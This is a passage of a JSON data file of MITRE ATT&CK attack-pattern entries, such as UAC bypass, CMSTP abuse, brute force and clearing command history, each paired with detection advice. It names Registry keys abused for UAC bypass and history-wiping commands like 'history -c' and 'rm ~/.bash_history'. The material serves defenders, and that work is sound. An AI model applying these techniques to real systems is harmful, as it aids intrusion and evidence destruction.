MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "x_mitre_data_sources": [ + "Network protocol analysis", + "Packet capture", + "System calls", + "Process use of network", + "Process monitoring", + "Browser extensions" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "name": "Browser Extensions", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110", + "source_name": "mitre-attack", + "external_id": "T1110" + }, + { + "url": "https://en.wikipedia.org/wiki/Password_cracking", + "source_name": "Wikipedia Password cracking", + "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015." + }, + { + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017." + }, + { + "url": "http://www.blackhillsinfosec.com/?p=4645", + "source_name": "BlackHillsInfosec Password Spraying", + "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017." + }, + { + "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing", + "source_name": "Trimarc Detecting Password Spraying", + "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Strand", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2019-02-15T21:09:55.950Z", + "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nFor password spraying consider the following(Citation: Trimarc Detecting Password Spraying):\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "name": "Brute Force", + "created": "2017-05-31T21:31:22.767Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1088", + "source_name": "mitre-attack", + "external_id": "T1088" + }, + { + "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", + "source_name": "Davidson Windows", + "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014." + }, + { + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016." + }, + { + "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", + "source_name": "SANS UAC Bypass", + "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016." + }, + { + "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", + "source_name": "TechNet Inside UAC", + "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", + "source_name": "MSDN COM Elevation", + "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016." + }, + { + "url": "https://github.com/hfiref0x/UACME", + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016." + }, + { + "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "source_name": "enigma0x3 Fileless UAC Bypass", + "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016." + }, + { + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016." + }, + { + "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", + "source_name": "enigma0x3 sdclt app paths", + "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017." + }, + { + "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "source_name": "enigma0x3 sdclt bypass", + "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Casey Smith" + ], + "x_mitre_data_sources": [ + "System calls", + "Process monitoring", + "Authentication logs", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ], + "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "name": "Bypass User Account Control", + "created": "2017-05-31T21:31:07.462Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", + "x_mitre_effective_permissions": [ + "Administrator" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1191", + "source_name": "mitre-attack", + "external_id": "T1191" + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018." + }, + { + "url": "https://twitter.com/ItsReallyNick/status/958789644165894146", + "source_name": "Twitter CMSTP Usage Jan 2018", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018." + }, + { + "url": "https://msitpros.com/?p=3960", + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018." + }, + { + "url": "https://twitter.com/NickTyrer/status/958450014111633408", + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018." + }, + { + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018." + }, + { + "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "source_name": "Endurant CMSTP July 2018", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Nik Seetharaman, Palantir" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "Windows event logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Anti-virus" + ], + "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "name": "CMSTP", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1042", + "source_name": "mitre-attack", + "external_id": "T1042" + }, + { + "url": "https://capec.mitre.org/data/definitions/556.html", + "source_name": "capec", + "external_id": "CAPEC-556" + }, + { + "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx", + "source_name": "Microsoft File Handlers", + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014." + }, + { + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", + "source_name": "Microsoft Change Default Programs", + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016." + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", + "source_name": "Microsoft Assoc Oct 2017", + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018." + }, + { + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd", + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68", + "name": "Change Default File Association", + "created": "2017-05-31T21:30:42.222Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1146", + "source_name": "mitre-attack", + "external_id": "T1146" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host forensic analysis" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "name": "Clear Command History", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1115", + "source_name": "mitre-attack", + "external_id": "T1115" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/ms649012", + "source_name": "MSDN Clipboard", + "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016." + }, + { + "url": "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/", + "source_name": "Operating with EmPyre", + "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "name": "Clipboard Data", + "created": "2017-05-31T21:31:25.967Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre)." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1116", + "source_name": "mitre-attack", + "external_id": "T1116" + }, + { + "url": "https://en.wikipedia.org/wiki/Code_signing", + "source_name": "Wikipedia Code Signing", + "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016." + }, + { + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016." + }, + { + "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", + "source_name": "Symantec Digital Certificates", + "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016." + }, + { + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Binary file metadata" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "name": "Code Signing", + "created": "2017-05-31T21:31:26.474Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059", + "source_name": "mitre-attack", + "external_id": "T1059" + }, + { + "url": "https://en.wikipedia.org/wiki/Command-line_interface", + "source_name": "Wikipedia Command-Line Interface", + "description": "Wikipedia. (2016, June 26). Command-line interface. Retrieved June 27, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "name": "Command-Line Interface", + "created": "2017-05-31T21:30:49.546Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1043", + "source_name": "mitre-attack", + "external_id": "T1043" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "name": "Commonly Used Port", + "created": "2017-05-31T21:30:42.657Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1092", + "source_name": "mitre-attack", + "external_id": "T1092" + } + ], + "object_marking_refs": [ + 